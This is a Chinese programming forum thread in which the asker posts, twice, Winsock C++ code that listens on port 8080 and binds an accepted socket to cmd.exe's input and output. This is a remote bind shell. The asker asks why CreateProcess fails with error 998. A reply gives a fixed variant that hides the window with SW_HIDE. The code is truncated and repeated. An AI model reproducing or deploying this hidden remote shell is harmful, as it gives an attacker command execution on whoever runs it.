// 功能: 等待对方连入的线程,非主线程,用的是重叠i/o模型
// 参数: 空
//
// 返回: -1表示结束该线程
UINT WINAPI AcceptThread(LPVOID lParam)
{
SOCKADDR retAddr;
WSAEVENT event[2]={0};
char *hostaddress = "0.0.0.0";
int SdcerPort = 8080;
WSANETWORKEVENTS wederYes;
BOOL bReUseAddr = TRUE; SOCKET sock = INVALID_SOCKET; //监听SOCKET
SOCKET acceptSock = INVALID_SOCKET; //通讯SOCKET
if (!LSdcerCreateSocket(&sock, SOCK_STREAM))
{
//用WSASocket()创建一个用于监听的SOCKET return false;
}
if (!LSdcerBindSocket(sock, hostaddress, SdcerPort))
{
//绑定
return false;
} event[0] = hExitEvent_Listen;
event[1] = workEvent_Listen; if (WSAEventSelect(sock, workEvent_Listen, FD_ACCEPT) == SOCKET_ERROR)
{
return false;
}
if (!LSdcerListenSocket(sock))
{
//开始监听
return false;
} DWORD whichEvent = WSAWaitForMultipleEvents(2,
event,
FALSE,
WSA_INFINITE,
FALSE
); if (whichEvent == WSA_WAIT_FAILED||whichEvent == WAIT_OBJECT_0)
{
if (whichEvent == WAIT_OBJECT_0)
{
hExitEvent_Listen = WSACreateEvent();
}
return false;
}
int right = WSAEnumNetworkEvents(sock,workEvent_Listen,&wederYes);
if (right == SOCKET_ERROR)
{
return false;
}
if (wederYes.lNetworkEvents == FD_ACCEPT)
{
if (hPrepareEvent != NULL)
{
WaitForSingleObject(hPrepareEvent, INFINITE);
} int sockaddrret = sizeof(retAddr);
acceptSock = WSAAccept(sock, &retAddr, &sockaddrret, 0, 0);
if (acceptSock == INVALID_SOCKET)
{
continue;
}
else
{
ResetEvent(workEvent_Listen); //下面是重定向到cmdshell的过程
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE)acceptSock;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; int ret = CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi); ret = GetLastError(); //发现ret = 998
...................................................}
我发现CreateProcess()函数返回0(失败),用GetLastError()查看,发现返回998,用error lookup查看,提示信息是:内存分配访问无效。
怎么回事,请帮忙,在线等待!!!!!
// 参数: 空
//
// 返回: -1表示结束该线程
UINT WINAPI AcceptThread(LPVOID lParam)
{
SOCKADDR retAddr;
WSAEVENT event[2]={0};
char *hostaddress = "0.0.0.0";
int SdcerPort = 8080;
WSANETWORKEVENTS wederYes;
BOOL bReUseAddr = TRUE; SOCKET sock = INVALID_SOCKET; //监听SOCKET
SOCKET acceptSock = INVALID_SOCKET; //通讯SOCKET
if (!LSdcerCreateSocket(&sock, SOCK_STREAM))
{
//用WSASocket()创建一个用于监听的SOCKET return false;
}
if (!LSdcerBindSocket(sock, hostaddress, SdcerPort))
{
//绑定
return false;
} event[0] = hExitEvent_Listen;
event[1] = workEvent_Listen; if (WSAEventSelect(sock, workEvent_Listen, FD_ACCEPT) == SOCKET_ERROR)
{
return false;
}
if (!LSdcerListenSocket(sock))
{
//开始监听
return false;
} DWORD whichEvent = WSAWaitForMultipleEvents(2,
event,
FALSE,
WSA_INFINITE,
FALSE
); if (whichEvent == WSA_WAIT_FAILED||whichEvent == WAIT_OBJECT_0)
{
if (whichEvent == WAIT_OBJECT_0)
{
hExitEvent_Listen = WSACreateEvent();
}
return false;
}
int right = WSAEnumNetworkEvents(sock,workEvent_Listen,&wederYes);
if (right == SOCKET_ERROR)
{
return false;
}
if (wederYes.lNetworkEvents == FD_ACCEPT)
{
if (hPrepareEvent != NULL)
{
WaitForSingleObject(hPrepareEvent, INFINITE);
} int sockaddrret = sizeof(retAddr);
acceptSock = WSAAccept(sock, &retAddr, &sockaddrret, 0, 0);
if (acceptSock == INVALID_SOCKET)
{
continue;
}
else
{
ResetEvent(workEvent_Listen); //下面是重定向到cmdshell的过程
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE)acceptSock;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; int ret = CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi); ret = GetLastError(); //发现ret = 998
...................................................}
我发现CreateProcess()函数返回0(失败),用GetLastError()查看,发现返回998,用error lookup查看,提示信息是:内存分配访问无效。
怎么回事,请帮忙,在线等待!!!!!
解决方案 »
- 一个VC+SQL的问题
- 请问xp下怎么获得桌面的窗口句柄?
- 关于SHFileOperation的使用,帮帮忙
- 几种压缩的看法!100分讨论
- 几个关于vc的问题???
- 怎么编写MDI中整个客户区的图形放大和缩小。
- 谁能帮我解释一下C++BUILDER 中主线程与工作线程的含义与区别,100分说到做到
- 可是我还是不知到在CListCtrl中DrawItem函数啊,该函数是怎么加进程序来的啊,是通过Add Window Message Hander...吗
- 关于list control的问题~~~~~~~~~~~~~~
- 如何用OPENGL实现着火效果?
- 切分问题:分成三块,其中一块放入一对话框怎么做?
- MFC DLL 如何在DLL中响应主框架菜单消息
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=si.hStdOutput=si.hStdError=(void*)clientFD;
PROCESS_INFORMATION Processinformation;
ret=CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&Processinformation);
}
我发现在在vc的控制台里就可以正常工作,可以浏览文件。但如果把以上
kugou123(酷狗)(http://www.xiaozhou.net) 的代码放在mfc对话框程序的一个OnButton()事件里,就不行,不知道mfc和console有什么区别,为什么?